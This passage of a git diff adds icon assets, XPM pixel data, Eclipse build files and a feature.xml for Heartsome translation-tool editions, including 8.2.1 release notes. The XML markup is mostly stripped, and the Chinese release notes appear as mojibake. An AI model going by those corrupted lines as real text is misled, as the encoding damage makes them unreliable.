n#.o#.W+.pS DN p#.q#.p#.S@.r#.pS s#.G+.t#.u#.v#.X+.YT w#.x#.y#.z#.A#.B#._T C#.D#.E#.cT F#.]..G#.H#.I#.J#.K#.V..p#.p#.C@.L#.M#.N#.O#.P#.Q#.R#.S#.T#.U#.V#.W#.X#.Y#.Z#.`#. $..$.+$.@$.#$.$$.%$.&$.*$.Q..=$.-$.;$.>$.,$.'$.)$.!$.~$.{$.]$.^$.3Y /$.($.pG pG %.DK ,%.Q@.'%.)%.rs !%.mQ QV ~%.A@.{%.c$.EN A@.]%.^%./%.=Q (%._%.~+.:%.<%.[%.}%.rs x@.|%.Mw 1%.2%.3%.4%.5%.i$.6%.rs 7%.8%.9%.0%.a%.CO b%.c%.c%.d%.e%.f%.g%.h%.i%.j%.k%.l%.m%.n%.o%.p%.q%.r%.s%.t%.u%.v%.w%.x%.y%.z%.A%.]Y B%.C%.D%.E%.F%.G%.H%.I%.J%.K%.Lv L%.M%.N%.rs O%.P%.=%.Q%.R%.S%.T%.U%.FQ rs rs V%.W%./@ X%.dE p@.c#.d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } Y%.Z%.`%.i#..@. &..&.+&.8U rs {Z |D D#.Q@.,%.@&.CP zQ #&.$&.v$.%&.&&.*&.=&.$&.0%.TV -&.z@.rs ;&.>&.rs 9D ,&. X '&.=C 9%.)&.!&.t#.~&.{&.$B ]&.#F d%.q#.q#.^&./&.(&._&.:&.qQ <&.[&.}&.|&.1&.2&.3&.4&.5&.6&.7&.8&.9&.0&.a&.b&.c&.d&.e&.f&.g&.h&.Fu 'W I%.i&.j&.i&.k&.$X %Y l&.m&.n&.rs fD o&.p&.q&.r&.s&.t&.u&.v&.rs rs w&.x&.y&.z&.AM J..d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z .` p r@.A&.B&.C&.D&.E&.{U F&.rs G&.Q$.LZ H&.I&.J&.q$.q$.,%.K&.L&.M&.rs *.,*.'*.)*.!*.~*.{*.]*.^*./*.(*._*.:*.<*.[*.}*.rs |*.1*.i# 2*.U$.3*.j&.4*.5*.6*.)W =z 7*.8*.9*.a` nF 0*.a*.b*.c*.d*.e*.f*.jD rs g*.h*.i*.j*.k*.;%.K..l*.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z m*.n*.o*.p*.q*.V&.r*.s*.~J rs V%.t*.u*.v*.w*.x*.,%.N#.N&.y*.%` z*.-&.Y&.#@.A*.B*.C*.D*.E*.OS F*.dV G*.H*.I*.J*.a%.K*.L*.M*.N*.,+.rs O*.P*._&.Q*.R*.#*.S*.S*.T*.U*.V*.W*.X*.Y*.Z*.`*. =..=.+=.@=.#=.$=.%=.&=.*=.==.-=.;=.>=.,=.Gt !x '=.VW )=.!=.~=.{=.]=.5*.^=./=.(=._=.pR :=.<=..%.rs A*.[=.'y 'y }=.|=.1=.2=.3=.rs 4=.5=.`$.6=.7=.8=.l*.9=.'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q a=.b=.c=.d=.=C e=.f=.c` g=.h=.rs yG B .i=.j=.u@.k=.Q+.l=.s#.7%.YT m=.X&.a%.zQ n=.o=.p=.dC rs rs q=.r=.s=.L*.t=.d%.u=.v=.w=.x=.N*.y=.[D {A z=.A=.B=.C=.S*.#*.D=.E=.F=.Yy n&.G=.rs H=.I=.J=.K=.L=.M=.N=.O=.P=.Q=.R=.S=.T=.U=.V=.W=.X=.$ ./Y rs Y=.Z=.`=. -.(=.^=..-.+-.@-.#-.pR $-.%-.&-.rs 7@.*-.=-.--.;-.j*.>-.,-.'-.rs )-.!-.~-.{-.]-.^-.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.(-._-.:-.<-.5E m=.[-.}-.|-.RY 1-.rs rs rs rs 2-.3-.4-.5-.6-.7-.FY s=.8-.9-.0-.a-.b-.c-.d-.rs rs e-.f-.g-.h-.i-.C=.j-.k-.l-.m-.F .CI rs n-.o-.p-.q-.D=.D=.r-.r-.s-.t-.u-.v-.w-.mI x-.y-.z-.A-.B-.C-.D-.E-.F-.G-.H-.I-.J-.K-.L-.M-.N-.O-.P-.wR Q-.R-.a*.S-.T-.U-./=.V-.W-.X-.Y-.yP xs Z-.J*.A .`-. ;.Bs &x .;.+;.@;.} .rs rs #;.$;.%;.&;.*;.=;.-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.;;.>;.,;.<-.4C ';.^U );.(C !;.~;.lH {;.];.^;./;.(;._;.:;.<;.VW [;.};.|;.1;.d%.k-.2;.3;.4;.5;.rs rs 6;.7;.8;.9;.C=.0;.T*.a;.b;.c;.d;.rs ]%.fS e;.f;.g;.h;.i;.i;.j;.k;.l;.m;.n;.o;.rs p;.q;.r;.s;.t;.u;.v;.w;.x;.y;.z;.A;.C .B;.rs C;.&T .-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q .>.+>.@>.rs NK #>.$>.fQ %>.&>.*>.=>.: .v*.bD ->.;>.m-.>>.D@.rs '&.,>.'>.)>.i%.T*.(&.!>.~>.N*.FM {>.]>.EK ^>.9;.C=.0;.T*.%*./>.(>.W@.rs ,%._>.:>.f;.i;.h;.i;.i;.<>.[>.}>.|>.1>.R@.rs 2>.3>.4>.5>.6>.7>.8>.9>.0>.a>.b>.c>.Ou T;.wF <;.d>.&w e>.f>.7-.g>.h>.Xw &X i>.W-.j>.k>.l>.m>.n>.vO o>.p>.q>.r>.s>.}A jF t>.u>.v>.w>.rs rs #;.x>.y>.z>.A>.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z (@ q ,Z B>.C>.D>.rs E>.F>.8%.G>.H>.rs I>.4C J>.K>.L>._&.&*.M>.N>.rs O>.uM b;.+*.k-.P>.k-.Q>.2;.R>.S>.T>.d+.V*.Q*.U>.#*.V>.W>.F=.Yy X>.H+.rs Tx .Z>.i;.`>.h;.i;. ,..,.+,.@,.#,.$,.rs %,.&,.*,.=,.-,.;,.>,.,,.',.),.!,.$>.vM ~,.}N i+.{,.],.^,./,.(,.rs _,.:,.<,.[,.l>.k>.j>.},.|,.1,.ZZ vI 2,.3,.i+.4,.5,.}A AL 6,.7,.8,.Qw rs GN 9,.0,.a,.b,.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z j# p c,.d,.e,.f,.g,.rs rs rs rs a@.~+.h,.>>.$,.V*.i,.i,._&.Tx j,.k,._R l,.m,.n,.U*.o,.T*.p,.q,.r,.s,.t,.u,.v,.w,.x,.h;.h;.y,.z,.m;.b#.A,.&&.B,.C,.D,.E,.F,.F,.G,.H,.I,.J,.+,.K,.L,.Mv 4` C&.M,.N,.O,.P,.Q,.R,.S,.T,.@z U,.V,.W,.X,.Y,.gT Z,.`,. '..'.+'.@'.#'.$'.tQ =X %'.&'.j>.k>.*'.='.-'.wQ ;'.>'.,'.''.)'.}A zK !'.~'.{'.]'.rs hP @%.^'./'.('._'.E% e# D$ E$ . . . . ", +". . . . h# i# } p r@.:'.<'.M>.['.e=.}'.JX |'.vs 4#.R>.8;.1'.2'.y,.3'.r,.4'.5'.1A rs n..uJ 4'.6'.$*.g;.7'.8'.9'.0'.a'.0'.9'.b'.i;.h;.x,.a'.c'.d'.n&.e'.f'.g'.h'.i'.j'.k'.k'.l'.m'..,.n'.o'.p'.q'.r'.s'.t'.u'.b#.v'.w'.x'.y'.Y` ZW z'.A'.B'.C'.D'.E'.F'.J#.G'.H'.I'.J'.K'.L'.M'.N'.^W O'.P'.k>.Q'.R'.S'.T'.R` yM U'.1;.V'.W'.X'.Y'.X'.Z'.`'.jR rs rs )..).+).@)._'.#).e# D$ E$ . . . . ", +". . . . h# i# } |. :W $).%).s,.&).*).=).-).;).&).>).,).v,.f;.').s-.)).!).~).{).]).rs ^)./).().,)._).g;.h;.h;.h;.r-.g;.:).j;.i;.<).i;.[).!).}).|).V@.rs |;.1).2).3).J,.k'.I,.m'.4).5).3).R$.@y 6).7).s'.g>.8).9).0).=-.a).b).BI c).d)._#.e).XZ f).%-.'>.g).h).i)._>.j).k).l).m).n).2U o).|,.p).R'.R'.q).r).s).4U t).u).v).w).x).y).z).Z;.A).B).]D rs C).D).E).F).G).#).e# D$ E$ . . . . ", +". . . . h# i# j# |. vH H).I).J).:>.}).K).K).}).L).}>.M).k;.').N).:).O).P).Q).R).S).T).rs U).V).:>.t-.b'.<).W).W).W).X).X).W).W).`>.G,.k;.Y).Z).cD `). !.Pu U$..!.5).+!.k'.@!.#!.$!.%!.&!.iS As *!.=!.a` -!.;!.>!.,!.'!.)!.B'.!!.~!.{!.]!.^!./!.(!._!.:#.:!..}!.|!.1!.<-.xM 4U 2!.='.R'.R'.q).q).3!.4!.I .5!.6!.7!.p,.8!.9!.0!.a!.C'.b!.c!.rs d!.e!.f!.g!.h!.#).e# D$ E$ . . . . ", +". . . . ^@ i# j# g i!.j!.k!.E=.l!.m!.!).!).t-.Z>.y,.s-.g;.i;.h;.h;.h;.s-.n!.:>.o!.g-.rs mD p!.q!.a'.g;.r!.s!.t!.t!.t!.t!.t!.t!.X). ,.u!.v!.w!.x!.rs y!.xs z!.A!.l'.B!.B!.C!.D!.E!.F!.w'.G!.H!.(!.p#.rs I!.J!.K!.L!.M!.AL N!.O!.P!.<,.t).Q!.R!.S!.T!.U!.V!.]!.x!.W!.a).X!.1B $W o,.Y!.Z!.`!. ~. ~..~.R'.+~.@~.#~.&Z $~.%~.&~.*~.=~.-~.;~.>~.,~.#&.rs '~.)~.!~.~~.h!.#).e# M1 g# . . . . ", +". . . . {~.Z. ]~.g ^~./~.(~._~.:~.<~.<~.[~.}~.|~.1~.2~.3~.3~.3~.4~.4~._~.5~.6~.7~.8~.9~.0~.a~.b~.c~.d~.e~.f~.g~.g~.f~.g~.f~.h~.f~.i~.j~.k~.l~.0~.m~.n~.o~.p~.q~.r~.s~.t~.u~.v~.j~.w~.x~.y~.z~.A~.B~.C~.D~.E~.F~.G~.qr H~.I~.J~.K~.L~.K~.M~.N~.O~.P~.Q~.R~.S~.T~.U~.V~.W~.X~.Y~.Z~.`~. {..{.+{.@{.#{.${.%{.&{.*{.={.-{.;{.>{.,{.'{.){.!{.~{.{{.]{.^{./{.({._{.:{.<{.E% [{.{@ }{.. . . . ", +". . . . |{.1{.2{.|. 3{.4{.5{.6{.7{.7{.7{.7{.7{.7{.8{.8{.8{.8{.8{.8{.8{.9{.0{.a{.b{.c{.d{.e{.f{.g{.h{.0{.9{.7{.7{.7{.7{.7{.7{.7{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.9{.7{.i{.t{.u{.v{.w{.x{.y{.z{.A{.B{.C{.D{.E{.F{.G{.b{.H{.g{.I{.J{.F).K{.L{.M{.N{.O{.P{.E{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.`{. ].,Y ,Y ,Y ,Y .].+].@].#].J{.$].%].&].b,.*].U{.=].j .-].;].>].,].'].)]./. !].~].{].. . . . ", +" . . . ]].^]./].(]._].:].<].[].}].}].}].}].}].}].}].}].}].}].|].|].|].}].1].2].3].4].5].6].7].8].9].0].|].|].|].|].|].|].|].|].|].a].b].3].c].d].e].f].3].g].h].|].|].|].h].i].j].k].l].m].n].o].p].q].r].s].t].u].v].v].w].x].y].z].z].A].B].C].D].E].F].G].t].H].I].J].K].L].M].N].O].P].Q].Q].Q].R].R].Q].P].S].T].M].j].U].V].W].N].X].Y].Z].`]. ^..^.+^.Z].@^.#^.$^.4,.%^.. . . . ", +" . . . . &^.*^.=^.|. V. -^.d# d# d# d# d# d# d# d# d# d# d# d# d# d# d# E% 2= /- U] H{ H{ H{ U] ;^./- d# d# d# d# d# d# d# d# d# d# ;^.U] H{ H{ H{ U] /- >^.d# d# d# d# d# ;^.,^.H{ z} '^.'^.<, '^.z} )^.U] U] !^.;^.;^.;^./- ;^.;^./- /- ,^.,^.U] H{ U] U] U] !^.;^./- /- /- ;^./- /- d# d# d# d# d# d# d# d# 2= ;^.;^.;^.;^.2= 2= 2= /- U] H{ ~^.H{ U] U] o {^.]^.^^./^.]].. . . ", +" . . . . (^._^.:^.<^.6 [^.e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# }^.;8 !; !; !; |^.!; !; }^.e# e# e# e# e# e# e# e# e# }^.;8 !; !; [, !; !; ;8 ;8 e# e# e# e# e# !; $/ [, G| 1^.1^.1^.1^.6' [, !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 !; !; !; !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 }^.e# e# e# e# e# e# e# }^.}^.;8 ;8 ;8 ;8 }^.}^.}^.;8 !; |^.|^.|^.!; 2^.3^.4^.^^.5^.6^.. . . . ", +" . . . . . 7^.8^.9^.0^.a^.f# t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t D$ D$ v~ v~ f# f# f# v~ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t D$ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ f# {@ ~].4,.b^.c^.. . . . . ", +" . . . . . . d^.% e^.f^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.h^.g^.g^.h^.h^.g^.h^.h^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.E$ i^.j^.k^.l^.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/icons/macosx/xliff.icns b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/macosx/xliff.icns new file mode 100644 index 0000000..6ccdcfe Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/macosx/xliff.icns differ diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_16.bmp b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_16.bmp new file mode 100644 index 0000000..2f0ebdd Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_16.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_32.bmp b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_32.bmp new file mode 100644 index 0000000..ba3471e Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_32.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_48.bmp b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_48.bmp new file mode 100644 index 0000000..45b56d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_professional.feature/icons/win32/xliff_48.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_professional.feature/plugin_customization.ini b/ts/net.heartsome.cat.ts.edition_professional.feature/plugin_customization.ini new file mode 100644 index 0000000..333fab9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_professional.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/.project b/ts/net.heartsome.cat.ts.edition_ultimate.feature/.project new file mode 100644 index 0000000..60f1ac6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.edition_ultimate.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product b/ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product new file mode 100644 index 0000000..6c314e3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/UltimateEdition.product @@ -0,0 +1,103 @@ + + + + + + + + + %aboutU + + + + + + + + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.2.1 +-Ddate=20130502 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/build.properties b/ts/net.heartsome.cat.ts.edition_ultimate.feature/build.properties new file mode 100644 index 0000000..62e85cf --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/build.properties @@ -0,0 +1,5 @@ +bin.includes = feature.xml,\ + icons,\ + plugin_customization.ini,\ + icons/ +javacDefaultEncoding.. = UTF-8 diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/feature.xml b/ts/net.heartsome.cat.ts.edition_ultimate.feature/feature.xml new file mode 100644 index 0000000..47cacd1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/feature.xml @@ -0,0 +1,189 @@ + + + + + [-en-] +--------------------------------- +New features: +1. New editing, deleting and copying function for TM match. +2. New offline activation function, licenses can be activated without network connection. +--------------------------------- +Improvements: +1. Improved the display style of internal tag, the new style is cleaner and more beautiful. +2. Improved the way of displaying QA results, dynamically updating QA results. +3. Changed the extension of exported project package file from .zip to .hszip, to distinguish them easily. +4. Optimized the overwriting strategy of existing files when importing project, to streamline project distribution. +5. Optimized the performance of XLIFF editor, to make it run smoother even there are many internal tags. +--------------------------------- +Bug-fixes: +Fixed the bug that unable to activate license on Fedora Linux. +[-zh-] +--------------------------------- +新功能: +1ã€æ–°å¢žå¯¹è®°å¿†åº“匹é…的编辑ã€åˆ é™¤å’Œéƒ¨åˆ†å†…容å¤åˆ¶åŠŸèƒ½ï¼› +2ã€æ–°å¢žç¦»çº¿æ¿€æ´»åŠŸèƒ½ï¼Œå¯åœ¨æ— ç½‘络æ¡ä»¶ä¸‹ç¦»çº¿æ¿€æ´»è®¸å¯è¯ã€‚ +--------------------------------- +改进: +1ã€ä¼˜åŒ–了内部标记样å¼ï¼Œæ›´åŠ ç®€æ´å’Œç¾Žè§‚ï¼› +2ã€ä¼˜åŒ–了 QA 结果的展示,能动æ€æ›´æ–° QA 检查结果; +3ã€å°†å¯¼å‡ºçš„项目包扩展å修改为 .hszip,以区别普通 .zip 压缩包; +4ã€ä¼˜åŒ–了导入项目时对é‡å¤æ–‡ä»¶çš„自动判断和处ç†ç­–略,使项目æµè½¬æ›´åŠ æ–¹ä¾¿ï¼› +5ã€ä¼˜åŒ–了编辑器的性能,å³ä½¿å†…部标记较多也ä¿æŒæµç•…。 +--------------------------------- +ä¿®å¤ï¼š +ä¿®å¤äº†åœ¨ Fedora Linux 系统中无法激活许å¯è¯çš„问题。 + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/linux/xliff.xpm b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/linux/xliff.xpm new file mode 100644 index 0000000..1d895c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_ultimate.feature/icons/linux/xliff.xpm @@ -0,0 +1,10486 @@ +/* XPM */ +static char * xliff_xpm[] = { +"128 128 10355 3", +" c None", +". c #FFFFFF", +"+ c #FFF1E9", +"@ c #FFD4B4", +"# c #FFC495", +"$ c #FFC597", +"% c #FFC699", +"& c #FFC698", +"* c #FFC393", +"= c #FFCCA6", +"- c #FFE8D9", +"; c #FFFDFD", +"> c #FBAB72", +", c #E6791C", +"' c #C85E00", +") c #B14E00", +"! c #B24E00", +"~ c #B35000", +"{ c #B25000", +"] c #B04D00", +"^ c #BF5600", +"/ c #DD7011", +"( c #F6964D", +"_ c #FFE9DC", +": c #F7954C", +"< c #BE5000", +"[ c #7B3B08", +"} c #5F2E19", +"| c #55271C", +"1 c #56271C", +"2 c #56281C", +"3 c #54271B", +"4 c #54261B", +"5 c #55261B", +"6 c #54271C", +"7 c #54261D", +"8 c #5B2C1B", +"9 c #6E3710", +"0 c #A64900", +"a c #EC7416", +"b c #FFE9DB", +"c c #FDBA8A", +"d c #C15000", +"e c #613316", +"f c #471925", +"g c #491827", +"h c #481827", +"i c #491926", +"j c #481926", +"k c #471825", +"l c #461824", +"m c #451824", +"n c #451724", +"o c #481825", +"p c #481826", +"q c #461825", +"r c #481925", +"s c #50271D", +"t c #A44800", +"u c #F59043", +"v c #FFFCFC", +"w c #FFFBFA", +"x c #ED8833", +"y c #843D03", +"z c #471A24", +"A c #532026", +"B c #5E2C1F", +"C c #6C3415", +"D c #6D3315", +"E c #6C3215", +"F c #6C3214", +"G c #6C3213", +"H c #6C3212", +"I c #6B3112", +"J c #683011", +"K c #662F11", +"L c #622D10", +"M c #602B0F", +"N c #5D2B0F", +"O c #5F2B0F", +"P c #622D0F", +"Q c #652F11", +"R c #693011", +"S c #6A3111", +"T c #6A3112", +"U c #693010", +"V c #673011", +"W c #652F10", +"X c #642E10", +"Y c #632D10", +"Z c #612D0F", +"` c #612C0F", +" . c #652E10", +".. c #632E10", +"+. c #612D10", +"@. c #602C0F", +"#. c #622E10", +"$. c #662F10", +"%. c #6C3312", +"&. c #6C3313", +"*. c #6B3213", +"=. c #693112", +"-. c #673112", +";. c #632D11", +">. c #642E11", +",. c #663012", +"'. c #683112", +"). c #6A3212", +"!. c #6D3414", +"~. c #6C3414", +"{. c #6E3714", +"]. c #63301B", +"^. c #562325", +"/. c #4A1A27", +"(. c #653316", +"_. c #D26100", +":. c #FFDDC6", +"<. c #FFE1CC", +"[. c #D26909", +"}. c #683416", +"|. c #491927", +"1. c #59281F", +"2. c #AF641C", +"3. c #E57F25", +"4. c #DB7824", +"5. c #DA7723", +"6. c #D97723", +"7. c #D97722", +"8. c #D77621", +"9. c #D27320", +"0. c #CB6F1F", +"a. c #C16A1D", +"b. c #B8651B", +"c. c #AF5F1A", +"d. c #AB5D1A", +"e. c #B0601A", +"f. c #CA6E1E", +"g. c #D07220", +"h. c #D47421", +"i. c #D57420", +"j. c #D37320", +"k. c #CF711F", +"l. c #C46B1D", +"m. c #BE681C", +"n. c #B7641B", +"o. c #B5631B", +"p. c #B7651B", +"q. c #B9651B", +"r. c #BB661C", +"s. c #BD671C", +"t. c #BF681C", +"u. c #BB671C", +"v. c #BA661B", +"w. c #B6651B", +"x. c #B2611B", +"y. c #BC671C", +"z. c #C26A1D", +"A. c #C96E1E", +"B. c #CF721F", +"C. c #DA7722", +"D. c #D97822", +"E. c #DA7822", +"F. c #D57521", +"G. c #CF7220", +"H. c #C96E1F", +"I. c #C36C1E", +"J. c #BB671D", +"K. c #BB661D", +"L. c #C46C1E", +"M. c #C96F1F", +"N. c #D67622", +"O. c #D87722", +"P. c #D77722", +"Q. c #D87822", +"R. c #DA7923", +"S. c #DA7823", +"T. c #C9731E", +"U. c #6A361C", +"V. c #4A1927", +"W. c #52251D", +"X. c #FFC293", +"Y. c #FFD4B2", +"Z. c #C05A00", +"`. c #5C2C1A", +" + c #602E17", +".+ c #D6701D", +"++ c #FFDB68", +"@+ c #FFF081", +"#+ c #FFF179", +"$+ c #FFF17B", +"%+ c #FFF17D", +"&+ c #FFF17F", +"*+ c #FFF181", +"=+ c #FFF182", +"-+ c #FFF184", +";+ c #FFF186", +">+ c #FFF188", +",+ c #FFF18A", +"'+ c #FFF18B", +")+ c #FFF18D", +"!+ c #FFF18F", +"~+ c #FFF190", +"{+ c #FFF192", +"]+ c #FFF194", +"^+ c #FFF195", +"/+ c #FFF197", +"(+ c #FFF199", +"_+ c #FFF19A", +":+ c #FFF19C", +"<+ c #FFF19D", +"[+ c #FFF19F", +"}+ c #FFF1A0", +"|+ c #FFF1A2", +"1+ c #FFF1A3", +"2+ c #FFF1A4", +"3+ c #FFF1A6", +"4+ c #FFF1A7", +"5+ c #FFF1A8", +"6+ c #FFF1A9", +"7+ c #FFF1AA", +"8+ c #FFF1AC", +"9+ c #FFF1AD", +"0+ c #FFF0AE", +"a+ c #FFEFAE", +"b+ c #FFECAF", +"c+ c #FBE9B0", +"d+ c #F6E5B0", +"e+ c #EEDEB0", +"f+ c #EDDDB1", +"g+ c #F8E6B1", +"h+ c #FEEAB2", +"i+ c #FBE7B3", +"j+ c #FDE9B4", +"k+ c #FDEAB5", +"l+ c #FFEDB6", +"m+ c #FFEEB7", +"n+ c #FFECB7", +"o+ c #FBEAB7", +"p+ c #F6E6B7", +"q+ c #F5E4B7", +"r+ c #F9E6B6", +"s+ c #FBE8B6", +"t+ c #F7E4B6", +"u+ c #F5E2B6", +"v+ c #F4E1B6", +"w+ c #F5E2B5", +"x+ c #F5E1B5", +"y+ c #F4E0B5", +"z+ c #F3DFB4", +"A+ c #F5E1B3", +"B+ c #FAE7B2", +"C+ c #FCE9B2", +"D+ c #F3DFB1", +"E+ c #EED9B0", +"F+ c #F4DDB0", +"G+ c #F9E0B0", +"H+ c #FCE2AF", +"I+ c #FFE3AE", +"J+ c #FFE4AE", +"K+ c #FFE5AD", +"L+ c #FFE4AC", +"M+ c #FFE4AB", +"N+ c #FFE3AA", +"O+ c #FFE1A8", +"P+ c #FFE1A7", +"Q+ c #FFE0A6", +"R+ c #FFDEA4", +"S+ c #FADAA2", +"T+ c #F5D4A1", +"U+ c #F2D39F", +"V+ c #FEE99D", +"W+ c #F3D89B", +"X+ c #ECCA9A", +"Y+ c #F3D099", +"Z+ c #F5D198", +"`+ c #F9D297", +" @ c #FAD295", +".@ c #F9D194", +"+@ c #F8CF92", +"@@ c #F8CD90", +"#@ c #F8CD8F", +"$@ c #F8CC8D", +"%@ c #F9CB8B", +"&@ c #FACA8A", +"*@ c #FBCA88", +"=@ c #FBC987", +"-@ c #FBC885", +";@ c #FBC682", +">@ c #FBC581", +",@ c #FBC784", +"'@ c #FFC37E", +")@ c #F28B2F", +"!@ c #7F4013", +"~@ c #4E2020", +"{@ c #A04600", +"]@ c #FEB479", +"^@ c #FFD7B5", +"/@ c #C25C00", +"(@ c #5E2D19", +"_@ c #602D18", +":@ c #CC661A", +"<@ c #FFED72", +"[@ c #FFFF95", +"}@ c #FCFF8B", +"|@ c #FCFF8D", +"1@ c #FEFF8F", +"2@ c #FEFF92", +"3@ c #FEFF94", +"4@ c #FEFF97", +"5@ c #FEFF99", +"6@ c #FEFF9B", +"7@ c #FEFF9E", +"8@ c #FEFFA0", +"9@ c #FEFFA2", +"0@ c #FEFFA5", +"a@ c #FEFFA7", +"b@ c #FEFFA9", +"c@ c #FFFFAB", +"d@ c #FFFFAE", +"e@ c #FFFFAF", +"f@ c #FFFFB2", +"g@ c #FFFFB4", +"h@ c #FFFFB6", +"i@ c #FFFFB8", +"j@ c #FFFFBA", +"k@ c #FFFFBC", +"l@ c #FFFFBE", +"m@ c #FFFFC0", +"n@ c #FFFFC1", +"o@ c #FFFFC3", +"p@ c #FFFFC5", +"q@ c #FFFFC7", +"r@ c #FFFFC8", +"s@ c #FFFFCA", +"t@ c #FFFFCB", +"u@ c #FFFFCD", +"v@ c #FFFFCE", +"w@ c #FEFFD0", +"x@ c #FCFFD1", +"y@ c #FAFFD2", +"z@ c #F8FFD4", +"A@ c #F1FFD5", +"B@ c #F2FED7", +"C@ c #FFFFD8", +"D@ c #FFFFD9", +"E@ c #FAFFDA", +"F@ c #F8FFDA", +"G@ c #FBFFDB", +"H@ c #FCFFDB", +"I@ c #FEFFDC", +"J@ c #FDFFDC", +"K@ c #FDFFDD", +"L@ c #FCFFDD", +"M@ c #F9FFDD", +"N@ c #FAFFDE", +"O@ c #FEFFDE", +"P@ c #FFFFDE", +"Q@ c #FEFFDF", +"R@ c #F9FFDF", +"S@ c #F3FEDE", +"T@ c #F2FDDE", +"U@ c #F4FEDE", +"V@ c #F7FFDD", +"W@ c #F8FFDD", +"X@ c #F9FFDC", +"Y@ c #F7FFDC", +"Z@ c #F2FBDB", +"`@ c #EFF7DA", +" # c #F2F9DA", +".# c #FBFFD9", +"+# c #FFFFD7", +"@# c #F1F7D5", +"## c 